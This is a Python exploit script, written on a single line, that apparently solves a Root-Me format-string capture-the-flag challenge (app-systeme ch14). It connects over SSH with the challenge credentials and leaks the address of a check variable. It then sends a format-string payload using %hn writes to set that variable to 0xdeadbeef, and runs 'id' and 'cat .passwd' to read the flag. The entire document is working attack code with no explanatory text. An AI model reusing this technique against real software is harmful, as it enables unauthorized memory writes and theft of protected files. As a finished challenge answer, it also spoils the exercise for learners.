#!/usr/bin/env python3 import base64 import re import shlex import paramiko HOST = "challenge02.root-me.org" PORT = 2222 USER = "app-systeme-ch14" PASSWORD = "app-systeme-ch14" BIN = "/challenge/app-systeme/ch14/ch14" FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn" def p32_le(value: int) -> bytes: value &= 0xFFFFFFFF return bytes( ( value & 0xFF, (value >> 8) & 0xFF, (value >> 16) & 0xFF, (value >> 24) & 0xFF, ) ) def make_remote_cmd(payload: bytes) -> str: b64 = base64.b64encode(payload).decode() py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])" return "python3 -c " + shlex.quote(py) def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str: cmd = make_remote_cmd(payload) _, stdout, _ = ssh.exec_command(cmd, get_pty=pty) return stdout.read().decode("latin-1", "ignore") def main() -> None: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10) try: total_len = 8 + len(FMT_TAIL) probe = b"A" * total_len probe_out = run_read_all(ssh, probe, pty=True) m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out) if not m: raise RuntimeError("could not parse check address from probe output") check_addr = int(m.group(1), 16) print(f"[+] check address: 0x{check_addr:08x}") payload = p32_le(check_addr) payload += p32_le(check_addr + 2) payload += FMT_TAIL if len(payload) != total_len: raise RuntimeError("payload length changed; probe and exploit would desync") cmd = make_remote_cmd(payload) stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True) stdin.write("id\n") stdin.write("cat .passwd\n") stdin.write("exit\n") stdin.flush() out = stdout.read().decode("latin-1", "ignore") print(out) if "check=0xdeadbeef" in out: print("[+] exploitation successful") else: print("[-] exploitation failed") finally: ssh.close() if __name__ == "__main__": main()